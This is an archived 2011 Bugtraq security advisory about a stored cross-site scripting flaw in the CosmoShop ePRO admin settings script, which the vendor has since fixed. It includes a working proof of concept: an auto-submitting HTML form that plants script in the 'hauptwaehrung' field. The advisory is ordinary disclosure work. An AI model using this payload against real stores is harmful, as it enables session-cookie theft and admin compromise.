Bugtraq mailing list archives

HTB22878: XSS vulnerability in CosmoShop


From: advisory () htbridge ch
Date: Thu, 10 Mar 2011 10:26:55 +0100 (CET)

Vulnerability ID: HTB22878
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_cosmoshop.html
Product: CosmoShop
Vendor: Zaunz Publishing GmbH ( http://www.cosmoshop.de/ ) 
Vulnerable Version: ePRO V10.05.00
Vendor Notification: 24 February 2011 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "cgi-bin/admin/setup_edit.cgi" script to properly sanitize user-supplied 
input in "hauptwaehrung" variable. Successful exploitation of this vulnerability could result in a compromise of the 
application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/cgi-bin/admin/setup_edit.cgi"; method="post" name="main">

<input type="hidden" name="setup" value="allgemein">
<input type="hidden" name="hId" value="setup.einstellungen.allgemein">
<input type="hidden" name="setup_key" value="allgemein">
<input type="hidden" name="shoptitel" value="Cosmoshop Shopsoftware 10.x">
<input type="hidden" name="shopbetreiber" value="email () example com">
<input type="hidden" name="shop_bestellempfaenger" value="email () example com">
<input type="hidden" name="anfrage_mail" value="email () example com">
<input type="hidden" name="shop_umstid" value="DE12345678">
<input type="hidden" name="shop_eg" value="1">
<input type="hidden" name="auftragszaehler" value="1">
<input type="hidden" name="hauptwaehrung" value='EUR"><script>alert(document.cookie)</script>'>
<input type="hidden" name="nebenwaehrung" value="$">
<input type="hidden" name="eurofaktor" value="0.7">
<input type="hidden" name="mindestpreisdm" value="10">
<input type="hidden" name="emis_bestellempfaenger" value="">
<input type="hidden" name="afs_bestellempfaenger" value="">
<input type="hidden" name="ean_in_ausf" value="1">
<input type="hidden" name="google_verify_code" value="">
<input type="hidden" name="save_it" value="abspeichern">

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version


Current thread: